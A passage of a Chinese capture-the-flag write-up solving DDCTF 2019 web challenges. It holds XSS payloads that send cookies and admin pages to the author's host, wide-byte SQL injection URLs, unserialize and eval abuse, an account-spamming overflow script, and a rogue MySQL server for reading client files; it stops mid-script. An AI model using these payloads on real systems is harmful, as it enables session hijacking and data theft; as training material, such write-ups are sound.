这次比赛似乎是滴滴拿来招人的,不过里面的题目涉及到的点蛮多,个人觉得比之前的西湖论剑的题更有味道, 就来写写 Write Up 了。
除了最后一道题个人不会之外,其他的题都写出来了。这比赛真的是拼手速和熟练程度。
开始吧~
一、滴~
知识点:任意文件读取,脑洞
步骤:
1、打开靶机,发现是一个这种页面。
2、观察地址,发现里面有一串 base64,尝试解码。发现还有一层,要解码两次。
3、发现是一串 hex 字串,那么就继续解码看看。
4、发现是 flag.jpg。
5、那么我们构造一个 index.php 进去又如何呢,这里我写了一个 Python 脚本,方便逆向回去。
import base64
import requests
s = 'index.php'
jpg = base64.b64encode(base64.b64encode("".join("{:02x}".format(ord(c)) for c in s).encode('utf-8'))).decode('utf-8')
r = requests.get('http://117.51.150.246/index.php', params={'jpg': jpg})
print(r.url)
print(r.text)
6、运行看看,结果里有一串 base64,解码看看。
7、解码之后结果如下,看起来是 index.php 的源码。
<?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/
?>
8、可以看到我们可以任意读取文件,但有过滤,限制了只能为数字和字母,且 config 会被转换为感叹号。多番尝试无法绕过。
9、到 index.php 开头注释里的博客看看,没啥端倪。
10、那么到博客里的其他文章转转。发现有这么一篇,进去看看。
11、发现有这么个文件名。
12、访问看看?出来了!
13、但如果要读取这个文件,直接读取的话感叹号会被过滤。想输入感叹号得用上前面的规则,也就是 config 被替换为感叹号。
14、发现这个文件源码如下。
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}
?>
15、有变量覆盖,那么就让 uid 和 k 这个变量里的 URL所指向的内容一致 就行了,这里我偷懒直接在我自己的服务器上传了个文件。
16、然后访问 /f1ag!ddctf.php?uid=a&k=http://xss.zhaoj.in/1.txt。
17、Flag 到手~
二、WEB 签到题
靶机:http://117.51.158.44/index.php
知识点:PHP 源码审计,文本格式化,反序列化
步骤:
1、打开靶机,发现是这个页面。
2、查看一下页面源代码,发现 js/index.js 有点意思,说明它请求了 /app/Auth.php 这个地址。还带上了 didictf_username 这个头。
/**
* Created by PhpStorm.
* User: didi
* Date: 2019/1/13
* Time: 9:05 PM
*/
function auth() {
$.ajax({
type: "post",
url:"http://117.51.158.44/app/Auth.php",
contentType: "application/json;charset=utf-8",
dataType: "json",
beforeSend: function (XMLHttpRequest) {
XMLHttpRequest.setRequestHeader("didictf_username", "");
},
success: function (getdata) {
console.log(getdata);
if(getdata.data !== '') {
document.getElementById('auth').innerHTML = getdata.data;
}
},error:function(error){
console.log(error);
}
});
}
3、那么我们就带上 didictf_username = admin 这个头访问这个地址试试。
4、访问 app/fL2XID2i0Cdh.php,获得两个文件源码。
5、先带 Header 访问一下 /app/Session.php,获取到 ddctf_id 这个 Cookie。
6、审计源码,发现我们先获取 eancrykey 试试比较合适。 nickname 传 %s,第二次 format 的时候就会把 eancrykey 给格式化上了。
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}
7、然后构造 POST 请求。记住带上 Header。然后就可以获取到 eancrykey 了。
8、然后继续审计源码,发现有对输入反序列化。
unserialize($session);
9、再来看看刚才拿到的 ctf_id,发现里面是序列化后的结果。这个就是 Session 对象了。
10、再来看 Application 对象的源码,里面的析构方法会在对象销毁时检查 path 这个成员变量,长度为 18 就会读取 path 所指向的那个文件。又根据下面的源码推测 flag 在 ../config/flag.txt。
public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
11、那么我们就把它的源码拷下来,用它的源码和
<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/4/12
* Time: 1:06 PM
*/
Class Application {
var $path = '';
public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;
}
public function auth() {
$DIDICTF_ADMIN = 'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
return TRUE;
}else{
$this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
exit();
}
}
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}
public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
echo "\n".strlen($path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}
class Session extends Application {
var $path = '..././config/flag.txt';
//key建议为8位字符串
var $eancrykey = 'EzblrbNS';
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_domain = '';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";
var $session_id = 'e989f2486e618ad5fa6d5e732acaa589';
var $ip_address = '116.136.20.161';
var $user_agent = '';
var $user_data = '';
public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}
}
private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}
public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
}
$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);
if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);
if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
}
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}
if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE;
}
public function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}
$userdata = $this;
$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);
return $cookiedata;
}
}
$ddctf = new Session();
echo $ddctf->session_create();
12、运行这个脚本,得到序列化之后的对象。
13、放到 UrlEncode Encode 一下。
14、置 Cookie,请求。
15、Flag 到手~
三、Upload-IMG (130分)
靶机:http://117.51.148.166/upload.php
知识点:PHP-GD 二次渲染绕过
步骤:
1、用上面给出的用户名密码打开靶机,发现是这么一个页面。
2、那么就传一个图片上去试试吧。
3、上传之后,发现提示 “[Check Error]上传的图片源代码中未包含指定字符串:phpinfo()”,并且还返回了上传之后图片的地址。
4、那么我们就把我们上传之后的图片下载回来看看吧。下载之后用 hex 编辑器打开。发现开头这儿指明了其是 php-gd 带着 libjpeg 转换的。
5、比较一下原图片和现在的图片,似乎有很多不同。
6、那么我们把下载下来的图片再传回去呢?
7、啊哈,这一把前面倒是蛮多相同的地方了。
8、那么我们就往里面相同的部分替换 “phpinfo()” (9字节)试试。
9、不断 fuzz 插入的位置,发现插入这里可以。
示例图片:
10、Flag 到手~
四、homebrew event loop(160分)
靶机:http://116.85.48.107:5002/d5af31f66147e857/
知识点:源码审计,参数过滤绕过,任意命令执行
步骤:
1、打开靶机,发现是这样的一个页面。
2、打开第一个链接,可以查看这个页面的源码。那么就先来审计一下源码。
# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'
from flask import Flask, session, request, Response
import urllib
app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5af31f66147e857'
def FLAG():
return 'FLAG_is_here_but_i_wont_show_you' # censored
def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5: session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)
def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack
class RollBackException: pass
def execute_event_loop():
valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')): continue
for c in event:
if c not in valid_event_chars: break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None: resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None: resp = ''
#resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None: resp = ret_val
else: resp += ret_val
if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
session.modified = True
return resp
@app.route(url_prefix+'/')
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop()
# handlers/functions below --------------------------------------
def view_handler(args):
page = args[0]
html = ''
html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points'])
if page == 'index':
html += '<a href="./?action:index;True%23False">View source code</a><br />'
html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
html += '<a href="./?action:view;reset">Reset</a><br />'
elif page == 'shop':
html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
elif page == 'reset':
del session['num_items']
html += 'Session reset.<br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
return html
def index_handler(args):
bool_show_source = str(args[0])
bool_download_source = str(args[1])
if bool_show_source == 'True':
source = open('eventLoop.py', 'r')
html = ''
if bool_download_source != 'True':
html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
for line in source:
if bool_download_source != 'True':
html += line.replace('&','&').replace('\t', ' '*4).replace(' ',' ').replace('<', '<').replace('>','>').replace('\n', '<br />')
else:
html += line
source.close()
if bool_download_source == 'True':
headers = {}
headers['Content-Type'] = 'text/plain'
headers['Content-Disposition'] = 'attachment; filename=serve.py'
return Response(html, headers=headers)
else:
return html
else:
trigger_event('action:view;index')
def buy_handler(args):
num_items = int(args[0])
if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])
def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume: raise RollBackException()
session['points'] -= point_to_consume
def show_flag_function(args):
flag = args[0]
#return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;) <br />'
def get_flag_handler(args):
if session['num_items'] >= 5:
trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries
trigger_event('action:view;index')
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')
3、大概的流程是这样
访问–>获取参数–>trigger_event 执行–>返回
4、那么仔细阅读源码,发现 execute_event_loop 这个方法里有个 eval。
event_handler = eval(action + ('_handler' if is_action else '_function'))
5、那么我们就来传个 # 在地址里试试,但注意,我们要传 %23,这样才不会被浏览器过滤。
6、这样看可能不清楚,我们本地开个服务器看看,同时把下面这一行注释去掉。
#resp += str(e) # only for debugging
7、看,成功截断了。
8、那么我们继续来分析,发现参数会被转换为 list。
args = get_mid_str(event, action+';').split('#')
event_handler = eval(action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
9、Python 调用的时候传入的参数个数不能大于方法能接受的参数的个数,这里那么来看看有哪些方法可以接受 list 作为参数。除了下面的一堆 handler 和 function 之外,还有上面的 trigger_event。
同时,buy_handler 和 consume_point_function 分别代表购买和扣点,两者并不是原子的。同时 get_flag_handler 这里说明当线程里的钻石大于 5 个时就会带着 FLAG() 方法去触发 show_flag。
同时,在 session 里有 log,记录最近的五个 log,而且出错时不会被回滚。
10、那么我们就从 trigger_event 入手吧。当然,在此之前我们先正常的买三个钻石。
11、然后访问 /d5af31f66147e857/?action:trigger_event%23;action:buy;1%23action:buy;1%23action:get_flag;1
这里就是利用 trigger_event 这个方法,依次执行 buy_handler 两次,然后 get_flag_handler。由于 buy 和 consume 不具有原子性,我们可以利用这个特性在钻石数达到 5 的时候调用一下 get_flag_handler,触发 log 来获取一下 Flag。
12、然后用 Flask-Unsign 解码 Cookie 看看。
工具:https://github.com/Paradoxis/Flask-Unsign
13、注意 func:show_flag;3v41**** ,这里就是 flag 了~
14、Flag 到手~
五、欢迎报名DDCTF(200分)
靶机:http://117.51.147.2/Ze02pQYLf5gGNyMn/
知识点:XSS,WAF 绕过,SQL 宽注入
步骤:
1、首先打开靶机看看,是个报名页面。
2、看到这种页面,我们就手痒想提交点东西上去,先提交个图片试试水吧。
<img src='http://xss.zhaoj.in'/>
3、然后我们到XSS 平台上面看看,收到了一大堆请求。
4、主要有两种请求,一个个看吧。第一个是靶机发出来的,似乎暂时用不到,放着。
5、第二个就有意思了,是个 hint。
6、那我们就打开这里面提到的链接看看吧。
7、把后面的 hint.php 去掉,看看是啥。
8、这玩意儿怎么那么熟悉呢,那就直接打 XSS 吧。
9、不断 fuzz,然后发现如下的 payload 能打上去。这里用到的 payload 是 eval,由于这玩意儿有”
HTML Markup: https://www.w3.org/MarkUp/html-spec/html-spec_13.html
写了个 Python 小脚本来生成 payload:
in_str = "(function(){(new Image()).src='http://xss.zhaoj.in/?keepsession=1&location='+escape((function(){try{return document.location.href}catch(e){return''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return''}})())+'&opener='+escape((function(){try{return(window.opener&&window.opener.location.href)?window.opener.location.href:''}catch(e){return''}})());})();"
output = ""
for c in in_str:
output += "&#" + str(ord(c))
print("<svg><script>eval("" + output + "")</script>")
这样得到的 payload 就如下:
<svg><script>eval("(function(){(new Image()).src='http://xss.zhaoj.in/?keepsession=1&location='+escape((function(){try{return document.location.href}catch(e){return''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return''}})())+'&opener='+escape((function(){try{return(window.opener&&window.opener.location.href)?window.opener.location.href:''}catch(e){return''}})());})();")</script>
10、打上去,发现可以正常执行。
11、然后我们再反馈给这个站点的管理员试试。
12、然后祭出我们的祖传 Python 脚本来算这种验证码。
import string, hashlib
a = string.digits + string.lowercase + string.uppercase
for i in a:
for j in a:
for k in a:
for m in a:
s = hashlib.md5(i + j + k + m).hexdigest()[0:6]
if s == "373fa1":
print(i + j + k + m)
break
13、然后提交上去,收 XSS 看看。
14、这里我懒得等了,直接拿之前收到的来了,看起来是达到效果了。不过这 Flag 没啥用,假 Flag。
15、再回到报名平台,用这个 payload 去打下这个报名平台吧。
16、收到的 XSS 似乎和之前差不多。
17、那我们再来上个读取页面源码的 payload 如下,当然也得转码。
xmlhttp=new XMLHttpRequest();xmlhttp.onreadystatechange=function(){if(xmlhttp.readyState==4){location.href='http://xss.zhaoj.in/?'+escape(xmlhttp.responseText);}};xmlhttp.open('GET','/Ze02pQYLf5gGNyMn/admin.php',true);xmlhttp.send('');
in_str = "xmlhttp=new XMLHttpRequest();xmlhttp.onreadystatechange=function(){if(xmlhttp.readyState==4){location.href='http://xss.zhaoj.in/?'+escape(xmlhttp.responseText);}};xmlhttp.open('GET','/Ze02pQYLf5gGNyMn/admin.php',true);xmlhttp.send('');"
output = ""
for c in in_str:
output += "&#" + str(ord(c))
print("<svg><script>eval("" + output + "")</script>")
<svg><script>eval("xmlhttp=new XMLHttpRequest();xmlhttp.onreadystatechange=function(){if(xmlhttp.readyState==4){location.href='http://xss.zhaoj.in/?'+escape(xmlhttp.responseText);}};xmlhttp.open('GET','/Ze02pQYLf5gGNyMn/admin.php',true);xmlhttp.send('');")</script>
18、打上去。
19、收 XSS,解个码看看。
<!DOCTYPE_html> <html_lang="en"> <head> <meta_charset="UTF-8"> <!--每隔30秒自动刷新--> <meta_http-equiv="refresh"_content="30"> <title>DDCTF报名列表</title> </head> <body> <table__align="center"_> <thead> <tr> <th>姓名</th> <th>昵称</th> <th>备注</th> <th>时间</th> </tr> </thead> <tbody> <!--_列表循环展示_--> <tr> <td> <a_target="_blank"__href="index_php">报名</a> </td> </tr> <!--_<a_target="_blank"__href="query_aIeMu0FUoVrW0NWPHbN6z4xh_php">_接口_</a>--> </tbody> </table> </body> </html>
20、里面有个被注释起来的“接口”链接特别有意思,我们还原其地址为 /Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php。访问,提示需要参数 id。
21、那么就传个 id 上去试试,不报上面的错了,但似乎还是不行。
22、推测此处有注入点,不断 fuzz。发现用 /Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=-1%aa%27or%201%20union%20select%201,2,3,4,5%23 能返回数据。有宽字节注入了。
23、然后用 /Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=-1%aa%27or%201%20union%20select%201,group_concat(schema_name),3,4,5%20from%20information_schema.schemata%23 就可以得到数据库列表。
24、再来用 /Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=-1%aa%27or%201%20union%20select%201,group_concat(table_name),3,4,5%20from%20information_schema.tables%20where%20table_schema=0x6374666462%23 进 ctfdb 这个数据库看看有啥表。这里我们用 hex 字串来书写字符串,0x6374666462 就是 ctfdb。
25、再来用 /Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=-1%aa%27or%201%20union%20select%201,group_concat(column_name),3,4,5%20from%20information_schema.columns%20where%20table_schema=0x6374666462%20and%20table_name=0x6374665f66686d4852504c35%23 来看看 ctfdb 库里的 ctf_fhmHRPL5 表有啥列。
26、那我们就用 /Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=-1%aa%27or%201%20union%20select%201,group_concat(ctf_value),3,4,5%20from%20ctfdb.ctf_fhmHRPL5%23 来读取一下这一列的内容吧。
27、Flag 到手~
六、大吉大利,今晚吃鸡~(210分)
靶机:http://117.51.147.155:5050/index.html#/login
知识点:整数溢出,暴力破解/人品
步骤:
1、打开靶机,发现是如下的一个页面。
2、注册看看吧。
3、注册成功之后就可以进入了,发现得先购买入场券。那就买一个试试,顺带抓抓包。发现其在购买时传了价格作为参数。
4、多次尝试,发现其只能传数字。fuzz 一下,发现其在 2^32 = 4294967296 时会有溢出,造成无需余额支付就可以购买并成功交易。
5、那么就来写个 Python 脚本开一堆小号重复上面这个过程了,16 线程走起。
import threading
from concurrent.futures.thread import ThreadPoolExecutor
import requests
main_session = requests.session()
main_session.get("http://38.106.21.229:5000/ctf/api/login?name=glzjinmiaomiao&password=miaomiao")
mutex = threading.Lock()
def remove_bot(id, ticket):
global main_session
print(main_session.get("http://38.106.21.229:5000/ctf/api/get_flag").json())
print(main_session.get("http://38.106.21.229:5000/ctf/api/remove_robot?id=" + str(id) + "&ticket=" + str(ticket)).json())
def create_bot(index=1):
s = requests.Session()
s.get('http://38.106.21.229:5000/ctf/api/register?name=glzjinb4ot' + str(index) + '&password=12345678')
r = s.get('http://38.106.21.229:5000/ctf/api/buy_ticket?ticket_price=4294967296')
r = s.get("http://38.106.21.229:5000/ctf/api/pay_ticket?bill_id=" + r.json()['data'][0]['bill_id'])
return r.json()['data'][0]['your_id'], r.json()['data'][0]['your_ticket']
def create_and_remove(index=1):
info = create_bot(index)
remove_bot(info[0], info[1])
pool = ThreadPoolExecutor(max_workers=32)
for i in range(1, 10000):
pool.submit(create_and_remove, i)
pool.shutdown(True)
6、跑呀跑,终于出来了。
7、Flag 到手~
七、mysql弱口令(260分)
靶机:http://117.51.147.155:5000/index.html#/scan
知识点:MySQL 客户端文件读取,敏感文件分析
步骤:
1、打开靶机看看,发现这是一个扫描器。
2、然后我们就按照他的要求把 agent.py 部署到自己的公网服务器上吧,注意这台服务器上有 Mysql。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 12/1/2019 2:58 PM
# @Author : fz
# @Site :
# @File : agent.py
# @Software: PyCharm
import json
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from optparse import OptionParser
from subprocess import Popen, PIPE
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
request_path = self.path
print("\n----- Request Start ----->\n")
print("request_path :", request_path)
print("self.headers :", self.headers)
print("<----- Request End -----\n")
self.send_response(200)
self.send_header("Set-Cookie", "foo=bar")
self.end_headers()
result = self._func()
self.wfile.write(json.dumps(result))
def do_POST(self):
request_path = self.path
# print("\n----- Request Start ----->\n")
print("request_path : %s", request_path)
request_headers = self.headers
content_length = request_headers.getheaders('content-length')
length = int(content_length[0]) if content_length else 0
# print("length :", length)
print("request_headers : %s" % request_headers)
print("content : %s" % self.rfile.read(length))
# print("<----- Request End -----\n")
self.send_response(200)
self.send_header("Set-Cookie", "foo=bar")
self.end_headers()
result = self._func()
self.wfile.write(json.dumps(result))
def _func(self):
netstat = Popen(['netstat', '-tlnp'], stdout=PIPE)
netstat.wait()
ps_list = netstat.stdout.readlines()
result = []
for item in ps_list[2:]:
tmp = item.split()
Local_Address = tmp[3]
Process_name = tmp[6]
tmp_dic = {'local_address': Local_Address, 'Process_name': Process_name}
result.append(tmp_dic)
return result
do_PUT = do_POST
do_DELETE = do_GET
def main():
port = 8123
print('Listening on localhost:%s' % port)
server = HTTPServer(('0.0.0.0', port), RequestHandler)
server.serve_forever()
if __name__ == "__main__":
parser = OptionParser()
parser.usage = (
"Creates an http-server that will echo out any GET or POST parameters, and respond with dummy data\n"
"Run:\n\n")
(options, args) = parser.parse_args()
main()
3、然后扫一下看看,发现提示未扫描到弱口令。
4、在服务器上 tcpdump 抓个包看看,发现是没密码登录。
5、那么我们就在服务器的 MySQL 开个没密码的账户。
CREATE USER 'root'@'117.51.147.155' IDENTIFIED BY '';
grant all privileges on *.* to 'root'@'117.51.147.155' IDENTIFIED BY '' with grant option;
6、再扫描,抓个包看看,发现没什么端倪。页面上返回的东西也没啥用。
7、然后多方搜索,发现 MySQL 的客户端如果开了 local infile 的话就服务器发送特定的命令就可以读取到客户端的文件。
参考资料:http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/
8、那么就来自己整个恶意服务器来读这扫描器的文件吧。
9、首先把服务器上的 MySQL 关了。
systemctl stop mysqld
10、然后修改一下 agent.py,让扫描器以为我们一直开着 MySQL.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 12/1/2019 2:58 PM
# @Author : fz
# @Site :
# @File : agent.py
# @Software: PyCharm
import json
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from optparse import OptionParser
from subprocess import Popen, PIPE
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
request_path = self.path
print("\n----- Request Start ----->\n")
print("request_path :", request_path)
print("UA :", self.headers.getheaders('user-agent'))
print("self.headers :", self.headers)
print("<----- Request End -----\n")
self.send_response(404)
self.send_header("Set-Cookie", "foo=flag")
self.end_headers()
result = self._func()
return_str = "mysqld"
self.wfile.write(return_str)
# self.wfile.write(json.dumps(result))
def do_POST(self):
request_path = self.path
# print("\n----- Request Start ----->\n")
print("request_path : %s", request_path)
request_headers = self.headers
content_length = request_headers.getheaders('content-length')
length = int(content_length[0]) if content_length else 0
# print("length :", length)
print("request_headers : %s" % request_headers)
print("content : %s" % self.rfile.read(length))
# print("<----- Request End -----\n")
self.send_response(404)
self.send_header("Set-Cookie", "foo=bar")
self.end_headers()
result = self._func()
return_str = "mysqld"
self.wfile.write(return_str)
# self.wfile.write(json.dumps(result))
def _func(self):
netstat = Popen(['netstat', '-tlnp'], stdout=PIPE)
netstat.wait()
ps_list = netstat.stdout.readlines()
result = []
for item in ps_list[2:]:
tmp = item.split()
Local_Address = tmp[3]
Process_name = tmp[6]
tmp_dic = {'local_address': Local_Address, 'Process_name': Process_name}
result.append(tmp_dic)
return result
do_PUT = do_POST
do_DELETE = do_GET
def main():
port = 8123
print('Listening on localhost:%s' % port)
server = HTTPServer(('0.0.0.0', port), RequestHandler)
server.serve_forever()
if __name__ == "__main__":
parser = OptionParser()
parser.usage = (
"Creates an http-server that will echo out any GET or POST parameters, and respond with dummy data\n"
"Run:\n\n")
(options, args) = parser.parse_args()
main()
11、然后放上根据上面那篇参考资料改了改的恶意 MySQL 服务器。
#!/usr/bin/env python
#coding: utf8
import socket
import asyncore
import asynchat
import struct
import random
import logging
import logging.handlers
PORT = 3306
log = logging.getLogger(__name__)
log.setLevel(logging.DEBUG)
# tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format = logging.StreamHandler()
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(
tmp_format
)
filelist = (
# r'c:\boot.ini',
# r'c:\windows\win.ini',
# r'c:\windows\system32\drivers\etc\hosts',
'/etc/passwd',
# '/etc/shadow',
)
#================================================
#=======No need to change after this lines=======
#================================================
__author__ = 'Gifts'
def daemonize():
import os, warnings
if os.name != 'posix':
warnings.warn('Cant create daemon on non-posix system')
return
if os.fork(): os._exit(0)
os.setsid()
if os.fork(): os._exit(0)
os.umask(0o022)
null=os.open('/dev/null', os.O_RDWR)
for i in xrange(3):
try:
os.dup2(null, i)
except OSError as e:
if e.errno != 9: raise
os.close(null)
class LastPacket(Exception):
pass
class OutOfOrder(Exception):
pass
class mysql_packet(object):
packet_header = struct.Struct('<Hbb')
packet_header_long = struct.Struct('<Hbbb')
def __init__(self, packet_type, payload):
if isinstance(packet_type, mysql_packet):
self.packet_num = packet_type.packet_num + 1
else:
self.packet_num = packet_type
self.payload = payload
def __str__(self):
payload_len = len(self.payload)
if payload_len < 65536:
header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)
else:
header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)
result = "{0}{1}".format(
header,
self.payload
)
return result
def __repr__(self):
return repr(str(self))
@staticmethod
def parse(raw_data):
packet_num = ord(raw_data[0])
payload = raw_data[1:]
return mysql_packet(packet_num, payload)
class http_request_handler(asynchat.async_chat):
def __init__(self, addr):
asynchat.async_chat.__init__(self, sock=addr[0])
self.addr = addr[1]
self.ibuffer = []
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'Auth'
self.logined = False
self.push(
mysql_packet(
0,
"".join((
'\x0a', # Protocol
'5.6.28-0ubuntu0.14.04.1' + '\0',
'\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
)) )
)
self.order = 1
self.states = ['LOGIN', 'CAPS', 'ANY']
def push(self, data):
log.debug('Pushed: %r', data)
data = str(data)
asynchat.async_chat.push(self, data)
def collect_incoming_data(self, data):
log.debug('Data recved: %r', data)
self.ibuffer.append(data)
def found_terminator(self):
data = "".join(self.ibuffer)
self.ibuffer = []
if self.state == 'LEN':
len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1
if len_bytes < 65536:
self.set_terminator(len_bytes)
self.state = 'Data'
else:
self.state = 'MoreLength'
elif self.state == 'MoreLength':
if data[0] != '\0':
self.push(None)
self.close_when_done()
else:
self.state = 'Data'
elif self.state == 'Data':
packet = mysql_packet.parse(data)
try:
if self.order != packet.packet_num:
raise OutOfOrder()
else:
# Fix ?
self.order = packet.packet_num + 2
if packet.packet_num == 0:
if packet.payload[0] == '\x03':
